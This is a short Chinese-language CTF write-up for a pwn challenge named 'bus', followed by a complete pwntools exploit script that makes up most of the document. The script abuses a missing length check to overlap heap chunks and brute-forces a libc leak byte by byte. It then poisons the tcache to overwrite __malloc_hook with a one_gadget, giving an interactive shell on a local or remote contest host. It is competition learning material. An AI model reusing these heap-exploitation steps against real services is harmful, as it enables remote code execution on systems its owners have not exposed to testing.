看了Lilac和Whitzard的wp发现没有这道题,补充一下
题目的漏洞在于buy的时候没有check号长度,导致可以多分配出一个chunk,同时用塞人函数加几个人,达到堆块重叠的效果
填满tcache后用塞人函数和check ticket函数爆破得到libc,构造堆块重叠改在tcache中的fd指向__malloc_hook,改为one_gadget得到shell

from pwn import *
import sys

if len(sys.argv) < 2:
    p = process("./bus")
    libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
    elf = ELF("./bus")
else:
    p = remote("58.20.46.150",43860)
    libc = ELF("./libc.so.6")
    elf = ELF("./bus")


def buy(des,number,free = False):
    p.sendlineafter("What do you want to do:","1")
    p.sendafter("Where do you want to go: ",des)
    if free:
        p.recvuntil("OK,more people huh?\n")
    p.sendlineafter("How many people: ",str(number))
    p.recvuntil("Done!\n")

def select(des):
    p.sendlineafter("What do you want to do:","2")
    p.sendafter("Where is your destination:",des)
    info = p.recvline()
    if info != "No such place!\n":
        return True
    else:
        return False

def go():
    p.sendlineafter("What do you want to do:","3")
    p.recvuntil("OK, let's go!\n")

code_base = 0x555555554000
def debugf():
    gdb.attach(p,"b *{b1}\nb *{b2}".format(b1=hex(code_base+0xBEF),b2=hex(code_base+0xC37)))

def bruteforce():
    known = ""
    for i in range(6):
        #debugf()
        if i == 0:
            select(str(i+1) + "\n")
            go()
        #debugf()
        buy(str(i+1) + "\n",(i+1))
        buy("0\n",0xe00+(5-i)-i*(0x90)+0x18)
        select(str(i+2) + "\n")
        go()
        if i == 0:
            for j in range(0x40,256):
                if select(chr(j) + "\n"):
                    known = chr(j) + known
                    log.success("known:"+known)
                    #raw_input()
                    break
        else:
            for j in range(256):
                if j == 10:
                    continue
                else:
                    payload = chr(j) + known + "\n"
                    if select(payload):
                        known = chr(j) + known
                        log.success("known:"+known)
                        #raw_input()
                        break
    return u64(known.ljust(8,"\x00"))


context.log_level = "debug"
context.terminal = ["tmux","splitw","-v"]
for i in range(33):
    buy(str(i).ljust(8,"\x00") + p64(0) + (p64(0) + p64(0x91))*6 + "\n",i)
buy("0\n",0)
#debugf()
for i in range(20,27,1):
    select(str(i) + "\n")
    go()
#debugf()
for i in range(7):
    buy(chr(i+20)+"\n",i+20)
#debugf()
leak_addr = bruteforce()
print hex(leak_addr)
offset = 0x7ffff7dcfca0 - 0x7ffff79e4000
libc.address = leak_addr - offset
log.success("libc_base:"+hex(libc.address))
buy("7\n",7)
buy("0\n",0x90-0x30)
select("8\n")
go()
select("\n")
go()
#debugf()
malloc_hook = libc.symbols["__malloc_hook"]
one_gadget = libc.address + 0x10a38c
buy("a"*0x20 + p64(0) + p64(0x91) + p64(malloc_hook) + "\n",7)
buy("aaaaaaaaaaaaaaaaaaaaaa\n",8)
buy(p64(one_gadget) + "\n",10000)
p.sendlineafter("What do you want to do:","1")

p.interactive()

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